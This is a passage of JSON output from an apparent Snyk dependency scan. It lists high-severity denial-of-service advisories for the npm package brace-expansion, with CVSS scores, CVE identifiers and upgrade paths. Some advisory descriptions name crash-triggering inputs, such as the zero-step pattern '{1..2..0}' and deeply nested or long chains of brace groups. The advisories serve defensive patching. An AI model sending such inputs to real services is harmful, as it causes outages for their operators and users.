"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
